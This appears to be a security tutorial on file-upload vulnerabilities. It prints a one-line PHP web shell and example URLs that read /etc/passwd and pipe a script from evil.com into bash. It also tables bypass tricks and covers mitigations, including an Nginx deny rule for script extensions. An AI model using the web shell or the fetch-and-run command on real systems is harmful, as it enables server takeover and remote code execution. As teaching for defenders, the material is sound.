Allowing users to upload files (avatars, PDF resumes, invoice receipts) is an indispensable requirement of modern web applications. However, if an application fails to rigorously validate file extensions, MIME types, and storage locations, an attacker can upload a malicious server-side script (such as a PHP web shell) and trigger it over HTTP, resulting in immediate Remote Code Execution (RCE) and complete server takeover.
A Web Shell is a small script written in the web server's native language (PHP, JSP, ASPX, Python) that exposes an interactive terminal over HTTP:
<?php
// Primitive 1-line PHP web shell
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
If an attacker uploads this file as shell.php into the public directory /uploads/, they can execute arbitrary bash commands simply by browsing to:
https://target.com/uploads/shell.php?cmd=cat+/etc/passwd
https://target.com/uploads/shell.php?cmd=curl+http://evil.com/malware.sh+|+bash
| Bypass Technique | Adversary Tactic | Vulnerable Server Behavior |
|---|---|---|
| MIME-Type Spoofing | Attacker intercepts upload in Burp Suite and changes Content-Type: application/x-php to Content-Type: image/jpeg. |
The server blindly trusts the client-provided $_FILES['file']['type'] header without inspecting file magic bytes. |
| Alternative Executable Extensions | If .php is blacklisted, attacker uploads .php3, .php4, .phtml, .phar, or .inc. |
Apache configurations often execute all matching extensions as PHP code by default. |
| Path Traversal in Filename | Attacker uploads a file with filename ../../../../etc/cron.d/malicious_job. |
The server concatenates the raw user-supplied filename into the storage path, overwriting sensitive system files. |
| Case Sensitivity & Double Extensions | Uploading shell.PhP or avatar.php.jpg. |
Poorly configured reverse proxies check the trailing .jpg extension, but backend Apache executes based on the first recognized .php extension. |
['jpg', 'jpeg', 'png', 'pdf'].$newName = bin2hex(random_bytes(16)) . '.jpg'.finfo_file() or exif_imagetype() to inspect the actual binary file signature (e.g. JPEG magic bytes FF D8 FF)./var/data/uploads) where the web server cannot execute scripts directly. Better yet, stream uploads directly to private Amazon S3 buckets.noexec flag, and disable PHP execution in Nginx for upload directories:# Disable all script engines inside uploads folder
location ^~ /uploads/ {
location ~* .(php|php5|phtml|py|sh|pl|cgi)$ {
deny all;
return 404;
}
}
Broaden your defensive and offensive security knowledge across our curriculum:
Chaining file uploads with server-side request forgery to pivot inside networks.
Safely processing user uploads, randomizing filenames, and storing outside web root.
Preventing file execution by mounting upload directories as noexec.
Lab exercise exploiting unrestricted file uploads and deploying web shells safely.